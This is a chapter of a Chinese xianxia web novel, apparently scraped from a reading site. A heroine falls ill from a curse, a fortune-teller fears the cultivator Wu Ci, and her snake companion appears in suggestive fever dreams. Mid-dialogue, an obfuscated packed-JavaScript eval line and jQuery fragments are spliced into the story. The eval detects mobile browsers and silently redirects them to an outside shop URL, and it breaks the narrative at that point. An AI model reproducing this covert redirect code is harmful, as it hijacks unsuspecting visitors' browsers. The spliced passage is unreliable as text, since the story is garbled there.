123读书网 > 玄幻小说 > 和黑莲花蛊修同行 > 32. 粉戏
    赵秋心道:“嘿嘿,反正也是回客栈的路上嘛,顺便看看。”


    这是一处临时搭建的瓦舍,里面正在演戏。


    皎皎听戏不多,也分辨不出这是唱得哪一段,只见台上的锣鼓声越来越密集,接着,花旦咬住了手帕,将罩在身上的外罩一脱,露出了洁白的臂膀。


    身后的小生轻轻扯下了花旦嘴里的手帕,两个人一前一后,好像划船一样摇动起来。


    台下立刻响起了一片叫好声,皎皎愣住了,面色赤红。


    短暂的惊讶过后,赵秋心的手蒙在了皎皎眼前,顺势将有些发愣的皎皎一转,带着她从人群中退了出去。


    等到两个人离开喧闹的人群,赵秋心忍不住道:“竟然是粉戏,这里的民风也太彪悍了!”


    皎皎道:“粉戏?”


    她听说过这个词,只是没看过,没想到竟然是这样的。


    赵秋心连忙道:“你别管了,我们快回去吧。”


    皎皎摇摇头,把这个经历抛在脑后。


    回到客栈,那条黑蛇从皎皎的身上下来,皎皎下意识要去抓它,手只触碰到了那凉凉的鳞片。


    不知不觉中,皎皎踱步到了乌瓷的房门口。


    他们两人的房间本就挨着,不过皎皎刚刚心里想着事情,直接越过了自己的房间,来到了乌瓷的门前。


    他在里面吗?


    黑蛇一直跟着她吗?


    他救了自己。


    皎皎抬起手,却没有勇气敲门,她也不知道自己在犹豫什么。


    今天的事,证明了乌瓷是个跟踪狂,自己偷偷逃跑的计划是泡汤了,她得想个别的办法。


    不过,如果不是黑蛇,自己可能也就没命了。


    她突然就有些生气,乌瓷那么坏,讨人厌,恶毒,为什么不一坏到底,为什么还要救她。


    许多情绪拉扯着,叫皎皎的心情变成了烦闷。


    手在空中悬了许久,她最后也没有敲门。


    皎皎离开后,本来在屋中品茶的乌瓷轻轻放下茶杯。


    茶杯在桌上留下一道水渍。


    *


    皎皎回到自己的房间,坐着想了想今天发生的事情。


    她身怀记忆蛊,受到觊觎,要不是乌瓷和黑蛇,今天那算命的就要得手。


    目前的她就好像小儿怀玉过闹市,身怀宝物,却没有保护的能力。


    皎皎有些郁闷地看着自己的双手,什么时候才能变得强大起来。


    那金环虽然美丽耀眼,但也太过夺目,容易吸引人的注意力,引来不怀好意的人。


    皎皎试图将那金环摘下藏起来,但试了几次都没成功,于是作罢。


    她躺在床上休息,本以为是受到惊吓,歇一歇变好。


    头脑逐渐开始混沌,迷迷糊糊中,她感觉到自己在高烧。


    因为高热,她的双颊潮红,皎皎张开嘴,潮热的气息从少女湿润的唇中吐出。


    影影绰绰中,一颗艳丽的红痣出现在眼前。


    长长的睫毛下,是一双明明漂亮到瑰丽,却又傲又冷的眼眸。


    皎皎一个激灵瞪大了眼:“你怎么在这儿!”


    她瞪大了眼,再看,面前空无一人,她可能是烧糊涂了。


    她再次躺下,几乎是立刻就又被拽入到溽热的梦挣扎。


    也许是因为躺下了,一切感官都放大,皎皎听到了蛇在地上爬行时,发出的那种轻微到几乎没有的声音。


    锦被鼓起一个小缝,皎皎的手酸软无力,抬不起来,没去查看。


    只感受到一个冰凉的触感。


    是蛇的鳞片。


    皎皎浑身高热,那种冰冷刺激得她轻哼了一声。


    黑蛇在身体上游走滑行,爬过她的手腕、脖颈,每一寸裸露在外的皮肤。


    皎皎的呼吸更加急促起来。


    她还梦见了戏台,手帕。


    隔壁的房间中,盘腿打坐的乌瓷睁开了眼。


    ......


    王真人本名王竟遥,生在益州,长在益州,根骨奇特。


    这世上总有一些人,在一些方面,格外有天赋。


    不仅有天赋,还不珍惜。虽然不珍惜,却还总有奇遇,于是就那样吊儿郎当地,将所有人甩在后面,叫人恨得牙痒痒。


    王竟遥就是这样一个人。


    算命在各玄门修行中,也是难学的一种。


    王竟遥虽然学的快,却延续了自己一如既往的敷衍了事,只学了个皮毛。


    可是他却在机缘巧合之下,在秘境中得了一只记忆蛊。


    他得到的记忆蛊只是一个小小的碎片,能够探查记忆,却探查不了太深。


    不过,对他而言,也大有裨益,这一个小小的记忆蛊,结合他的半吊子的算命知识,双方相结合,让王竟遥成了十里八乡知名的“王真人”。


    凭借着这个本事,他挣了许多钱。


    此刻,王竟遥众多宅邸的其中一个。


    一个房间中,符咒、宝剑、乾坤袋......各种东西散落一地。


    王竟遥身边站着一个穿锦衣的青年,是他算命时协助他的表弟。


    看着王竟遥在房中翻找,表弟道:“哥,一个小丫头而已,有什么好避的。”


    “说好了今天算命开张一整天的,一句话不说你就要走,那些排队的都炸了锅了你知道吗。”


    他微微拧着眉头,显然对王竟遥这个和扔钱差不多的行为有些不满。


    王竟遥终于将东西收拾得差不多,看着这个不开窍的弟弟,抽出空恨恨道:“你给我闭嘴!”


    雷明当然不敢真的忤逆这个表哥,立刻住嘴了。


    王竟遥道:“你和我一起出去躲几天。”


    说着抬脚就往外走,雷明不明所以地跟在身后,满腹疑虑:“出去躲几天?去哪儿?躲几天啊?为什么?我还约了兄弟去喝花酒呢。”


    “表哥,你怎么不说话啊,是因为那个小丫头?她有什么厉害的,一个花架子。”


    雷明不知道为什么王竟遥要这么如临大敌,他道行太浅,根本就没看到那只黑蛇,只感觉到王竟遥杀那小姑娘杀了一半,突然不知道为什么放弃了。


    而王竟遥从突然决定收摊回家开始,就有点神神叨叨的,也不和他说话解释。


    联想到表哥一回来就对着菩萨烧香拜了拜的举动,当时表哥因为太紧张,手有些发抖,连细香都给捏断了。


    难道是表哥突然转性了?


    雷明道:“表哥,难道是这次杀人,你良心不安了?不应该啊,以前又不是——”


    “闭嘴!!!!”


    一声暴喝,将雷明吓得一惊,剩下的话也吞进了肚子里。


    王竟遥死死掐着雷明的胳膊,一双眼瞪得死大:“因为她不是我们惹得起的人,我们惹错人了,知道不知道!”


    王竟遥压抑着声音,那声音太过激动,即使极低,也叫人觉得满是翻腾的恐惧:“那只蛇看到我们了!!!看到我了!!当时掉出一只什么卦,你知道不知道!!”


    这件事雷明倒是知道,王竟遥还没有开始摇卦筒,一只卦签就自己掉了出来,不过雷明没看见那是什么卦。


    但光凭借王竟遥现在的反应,雷明就知道了事情的严重性。


    他瞬间觉得头皮发麻,觉得一直在浪费时间的自己真是蠢透了!!


    王竟遥脸色铁青地收回手:“现在只能自求多福,那只蛇不打算计较,那样自然最好。不管怎么样,我们先出去躲一躲,有的山里雄黄多,天然抑制虫蛇,就算真追来了,也有一线生机。”


    知道了王竟遥的打算,雷明张了张口,想说什么,但王竟遥转头就快速往前走去。


    宅邸布置风雅,两个人面色凝重,在其中穿行。


    “表哥....


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087429|193433||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ..”


    一声细弱蚊蝇的呼唤,没有引起心事重重的王竟遥的注意。


    雷明闭了闭眼,鼓足勇气:“表哥!!”


    王竟遥脚步不停:“怎么了?”


    雷明唯唯诺诺,最终还是鼓足了勇气,一口气说道:“我,我在那小姑娘身上下了恶咒。”


    恶咒既下,只有施咒者才能解开。


    雷明又连忙解释道:“那不是终于能试试,你平时又不让我随便惹麻烦。而且我学艺不精,你也知道,最多就是让她大病几天罢了。”


    王竟遥脸色变了,刚破口大骂了半个音,就全吞进了肚子里。


    他抬起头,微微转了个方向。


    雷明心里更打鼓了,伸手在他眼前晃了晃:“表哥?”


    却听见王竟遥无视了他的动作,眼神似没有聚焦,对着远处空气道:“你既然来了,应该也听见了,是他下的咒,和我没关系。”


    雷明终于后知后觉地察觉到,有人来了。


    似乎也就是空气的一阵波动,一个黑衣男人,鬼魅一样出现在安静的宅院中。


    他一席黑衣,静立在杏花树下,身上有一种淡然的气质,像是修道的高人。


    但看到他的脸后,那漆黑的眼瞳,叫雷明不由得心中一惊。


    那根本就不是人类的眼睛。


    早上的小雨已经停了许久,阴云不断在天空聚集。此时起风了,天色阴暗起来,大雨似乎说来就来。


    带着湿意的风,吹得一树杏花摇晃。


    男人开口,声如碎冰,漫不经心好像只是出门买菜:“我来取三样东西。”


    他似乎没什么耐心,单刀直入:“解咒的法子。”


    雷明怔愣着,一旁的王竟遥道:“快给他!!”


    雷明的手颤颤巍巍,好半天,才写出一个解咒。


    解咒轻轻飞到那男人手中,他又对王竟遥道:“第二样东西,是记忆蛊。”


    王竟遥脸抽动着,他得来记忆蛊并不是用的什么光明磊落的法子,为了炼化这只蛊虫,他将这只记忆蛊温养在自己的血肉中,通过这种方式,和记忆蛊建立联系。


    没有犹豫,王竟遥尖刀对准胸膛,一点金光从其中飞出。


    那是记忆蛊特有的金色。


    王竟遥气喘吁吁:“不知阁下说的第三样东西,是什么?”


    男人眼眸幽深,语气淡然地说出最残忍的话:“第三样东西,是你们的命。”


    天空中积压一层厚厚的黑云,大雨将下未下,将整个益州城都裹在一团闷热无比的湿气中。


    皎皎满脸潮红,闭着眼躺在床上,窗户开着,却只能送进湿热的风。


    门吱呀一声开了,一个身影走进来,继而是窗被关上的声音。


    快下雨了。


    接着,身影来到床边,在皎皎身上投下一快阴影。


    皎皎恰在此时睁开眼。


    解咒已经被贴在了皎皎的床边,但要褪去高热还得一些时间,来给皎皎降温的黑蛇不愿离去,在乌瓷的注视下,只是将自己的头又钻进了被子里,贴在皎皎的脖子处。


    皎皎睁开了眼,眼神却依然是迷蒙的。


    看到乌瓷手中出现了一点金光,那金光又飞到了自己的身上,皎皎只专注地看着乌瓷的脸,大脑一团浆糊。


    很快,皎皎又闭上眼,沉沉睡去。


    黑蛇不肯和乌瓷离开,乌瓷静立片刻,自己离开了。


    门被关上了,皎皎却又被拉扯进入那个梦中。


    梦里,潮湿,闷热,一条黑蛇缠绕着她。


    她还梦见了戏台,敲锣打鼓声,接着梦见一个容色艳丽,神情冷淡的青年。


    戏台上的人换了样子,一个是她,另一个是那青年。


    接着,缠绕着她的黑蛇也换了,那冰冷的触感换了一种感受,微硬滑溜的鳞片,变成了充满弹性的肌肤和身体。